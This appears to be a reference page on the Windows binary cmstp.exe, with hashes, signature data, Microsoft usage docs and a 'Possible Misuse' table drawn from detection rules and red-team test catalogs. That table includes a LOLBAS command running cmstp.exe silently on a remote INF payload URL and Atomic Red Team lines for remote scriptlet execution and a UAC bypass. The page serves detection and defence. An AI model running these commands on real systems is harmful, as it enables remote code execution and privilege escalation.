cmstp.exe

  • File Path: C:\WINDOWS\system32\cmstp.exe
  • Description: Microsoft Connection Manager Profile Installer

Screenshot

cmstp.exe cmstp.exe

Hashes

Type Hash
MD5 D836BCDD54FD025B600E95033F3046E5
SHA1 C2D3892C00251841BD24AB0CF5379D327D14013A
SHA256 5142F9BA10100441B5AE60484A2230FDEB7DBC0D2A6C099E9E560DDB9B6BAF88
SHA384 E012750D8B7F33DE611A40A5284424EC49782E9E593F9CD53296C5ECEB5B18FC57831B8BC70507B1E4EE690932A1F651
SHA512 35A2B36C50EA884F73404742157FFF45A0C9A7DF9DE670CB12DDCCFF961FE91D580F1A250D2191FEF1C360D26DF97C652320460ADFDDF53EFB204AD8A3C126CD
SSDEEP 3072:XQv4R4TFHEJtvSKz2XZBIcSu4k27BMnxf1a1:AgRUFmtvSKzSZBIcSu4L7BMnxm
IMP 109BA8ED3C458360A74EA1216207CA09
PESHA1 E23D403A32CB26130F60D70C15E6B10096FEE646
PE256 1B4869CA61921B151AD1D7EE8FC7CF08220777A33518506370562314151C4310

Runtime Data

Window Title:

Connection Manager Profile Installer

Open Handles:

Path Type
(R-D) C:\Windows\Fonts\StaticCache.dat File
(R-D) C:\Windows\System32\en-US\cmstp.exe.mui File
(RW-) C:\Windows\System32 File
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2.ro Section
\Sessions\2\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\Sessions\2\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section
\Sessions\2\Windows\Theme1077709572 Section
\Windows\Theme3461253685 Section

Loaded Modules:

Path
C:\WINDOWS\System32\ADVAPI32.dll
C:\WINDOWS\system32\cmstp.exe
C:\WINDOWS\system32\cmutil.dll
C:\WINDOWS\System32\combase.dll
C:\WINDOWS\System32\GDI32.dll
C:\WINDOWS\System32\gdi32full.dll
C:\WINDOWS\System32\KERNEL32.DLL
C:\WINDOWS\System32\KERNELBASE.dll
C:\WINDOWS\System32\msvcp_win.dll
C:\WINDOWS\System32\msvcrt.dll
C:\WINDOWS\SYSTEM32\ntdll.dll
C:\WINDOWS\System32\ole32.dll
C:\WINDOWS\System32\RPCRT4.dll
C:\WINDOWS\System32\sechost.dll
C:\WINDOWS\System32\SHELL32.dll
C:\WINDOWS\System32\ucrtbase.dll
C:\WINDOWS\System32\USER32.dll
C:\WINDOWS\system32\VERSION.dll
C:\WINDOWS\System32\win32u.dll

Signature

  • Status: Signature verified.
  • Serial: 33000002ED2C45E4C145CF48440000000002ED
  • Thumbprint: 312860D2047EB81F8F58C29FF19ECDB4C634CF6A
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: CMSTP.EXE.MUI
  • Product Name: Microsoft(R) Connection Manager
  • Company Name: Microsoft Corporation
  • File Version: 7.2.22000.1 (WinBuild.160101.0800)
  • Product Version: 7.2.22000.1
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/73
  • VirusTotal Link: https://www.virustotal.com/gui/file/5142f9ba10100441b5ae60484a2230fdeb7dbc0d2a6c099e9e560ddb9b6baf88/detection

Possible Misuse

The following table contains possible examples of cmstp.exe being misused. While cmstp.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma proc_access_win_cmstp_execution_by_access.yml title: CMSTP Execution Process Access DRL 1.0
sigma proc_access_win_cmstp_execution_by_access.yml - https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ DRL 1.0
sigma proc_access_win_cmstp_execution_by_access.yml - Legitimate CMSTP use (unlikely in modern enterprise environments) DRL 1.0
sigma proc_creation_win_cmstp_com_object_access.yml title: CMSTP UAC Bypass via COM Object Access DRL 1.0
sigma proc_creation_win_cmstp_com_object_access.yml - https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ DRL 1.0
sigma proc_creation_win_cmstp_com_object_access.yml - Legitimate CMSTP use (unlikely in modern enterprise environments) DRL 1.0
sigma proc_creation_win_cmstp_execution_by_creation.yml title: CMSTP Execution Process Creation DRL 1.0
sigma proc_creation_win_cmstp_execution_by_creation.yml - https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ DRL 1.0
sigma proc_creation_win_cmstp_execution_by_creation.yml - Legitimate CMSTP use (unlikely in modern enterprise environments) DRL 1.0
sigma proc_creation_win_cmstp_execution_by_creation.yml # CMSTP Spawning Child Process DRL 1.0
sigma proc_creation_win_cmstp_execution_by_creation.yml ParentImage\|endswith: '\cmstp.exe' DRL 1.0
sigma proc_creation_win_renamed_binary.yml - 'cmstp.exe' DRL 1.0
sigma proc_creation_win_renamed_binary.yml - '\cmstp.exe' DRL 1.0
sigma proc_creation_win_renamed_binary_highly_relevant.yml - 'cmstp.exe' DRL 1.0
sigma proc_creation_win_renamed_binary_highly_relevant.yml - '\cmstp.exe' DRL 1.0
sigma proc_creation_win_uac_cmstp.yml title: Bypass UAC via CMSTP DRL 1.0
sigma proc_creation_win_uac_cmstp.yml description: Detect child processes of automatically elevated instances of Microsoft Connection Manager Profile Installer (cmstp.exe). DRL 1.0
sigma proc_creation_win_uac_cmstp.yml Image\|endswith: '\cmstp.exe' DRL 1.0
sigma proc_creation_win_uac_cmstp.yml - Legitimate use of cmstp.exe utility by legitimate user DRL 1.0
sigma registry_event_cmstp_execution_by_registry.yml title: CMSTP Execution Registry Event DRL 1.0
sigma registry_event_cmstp_execution_by_registry.yml - https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ DRL 1.0
sigma registry_event_cmstp_execution_by_registry.yml - Legitimate CMSTP use (unlikely in modern enterprise environments) DRL 1.0
LOLBAS Cmstp.yml Name: Cmstp.exe  
LOLBAS Cmstp.yml - Command: cmstp.exe /ni /s c:\cmstp\CorpVPN.inf  
LOLBAS Cmstp.yml - Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf  
LOLBAS Cmstp.yml - Path: C:\Windows\System32\cmstp.exe  
LOLBAS Cmstp.yml - Path: C:\Windows\SysWOW64\cmstp.exe  
LOLBAS Cmstp.yml - IOC: Execution of cmstp.exe without a VPN use case is suspicious  
LOLBAS Cmstp.yml - IOC: DotNet CLR libraries loaded into cmstp.exe  
LOLBAS Cmstp.yml - IOC: DotNet CLR Usage Log - cmstp.exe.log  
LOLBAS Cmstp.yml - Link: https://oddvar.moe/2017/08/15/research-on-cmstp-exe/  
LOLBAS Cmstp.yml - Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp  
atomic-red-team index.md - T1218.003 CMSTP MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #2: CMSTP Executing UAC Bypass [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - T1218.003 CMSTP MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #2: CMSTP Executing UAC Bypass [windows] MIT License. © 2018 Red Canary
atomic-red-team matrix.md | Hardware Additions CONTRIBUTE A TEST | Deploy Container CONTRIBUTE A TEST | At (Linux) | At (Windows) | CMSTP | Credential Stuffing | Domain Account | Remote Desktop Protocol | Credential API Hooking | Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol | Dead Drop Resolver CONTRIBUTE A TEST | Disk Structure Wipe CONTRIBUTE A TEST | MIT License. © 2018 Red Canary
atomic-red-team windows-matrix.md | External Remote Services | Inter-Process Communication CONTRIBUTE A TEST | At (Windows) | Asynchronous Procedure Call | CMSTP | Credentials from Password Stores | File and Directory Discovery | RDP Hijacking | Clipboard Data | Exfiltration Over Physical Medium CONTRIBUTE A TEST | Data Encoding CONTRIBUTE A TEST | Direct Network Flood CONTRIBUTE A TEST | MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md # T1218.003 - CMSTP MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md <blockquote>Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application. MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)</blockquote> MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md - Atomic Test #1 - CMSTP Executing Remote Scriptlet MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md - Atomic Test #2 - CMSTP Executing UAC Bypass MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md ## Atomic Test #1 - CMSTP Executing Remote Scriptlet MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md Adversaries may supply CMSTP.exe with INF files infected with malicious commands MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md cmstp.exe /s #{inf_file_path} MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md ## Atomic Test #2 - CMSTP Executing UAC Bypass MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md cmstp.exe /s #{inf_file_uac} /au MIT License. © 2018 Red Canary

Additional Info*

*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.

cmstp

Applies to: Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012

Installs or removes a Connection Manager service profile. Used without optional parameters, cmstp installs a service profile with default settings appropriate to the operating system and to the user’s permissions.

Syntax

Syntax 1 - This is the typical syntax used in a custom installation application. To use this syntax, you must run cmstp from the directory that contains the <serviceprofilefilename>.exe file.

<serviceprofilefilename>.exe /q:a /c:cmstp.exe <serviceprofilefilename>.inf [/nf] [/s] [/u]

Syntax 2

cmstp.exe [/nf] [/s] [/u] [drive:][path]serviceprofilefilename.inf
Parameters

| Parameter | Description | | ——— | ———– | | <serviceprofilefilename>.exe | Specifies, by name, the installation package that contains the profile that you want to install.<p>Required for Syntax 1, but not valid for Syntax 2. | | /q:a | Specifies that the profile should be installed without prompting the user. The verification message that the installation has succeeded will still appear.<p>Required for Syntax 1, but not valid for Syntax 2. | | [drive:][path] <serviceprofilefilename>.inf | Required. Specifies, by name, the configuration file that determines how the profile should be installed.<p>The [drive:][path] parameter isn’t valid for Syntax 1. | | /nf | Specifies that the support files should not be installed. | | /s | Specifies that the service profile should be installed or uninstalled silently (without prompting for user response or displaying verification message). This is the only parameter that you can use in combination with /u.| | /u | Specifies that the service profile should be uninstalled. | | /? | Displays help at the command prompt. |

Examples

To install the fiction service profile without any support files, type:

fiction.exe /c:cmstp.exe fiction.inf /nf

To silently install the fiction service profile for a single user, type:

fiction.exe /c:cmstp.exe fiction.inf /s /su

To silently uninstall the fiction service profile, type:

fiction.exe /c:cmstp.exe fiction.inf /s /u

Additional References

MIT License. Copyright (c) 2020-2021 Strontic.